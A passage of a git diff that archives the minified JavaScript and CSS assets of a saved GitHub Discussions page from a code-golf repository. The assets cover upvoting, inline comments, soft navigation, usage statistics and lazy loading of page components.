A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_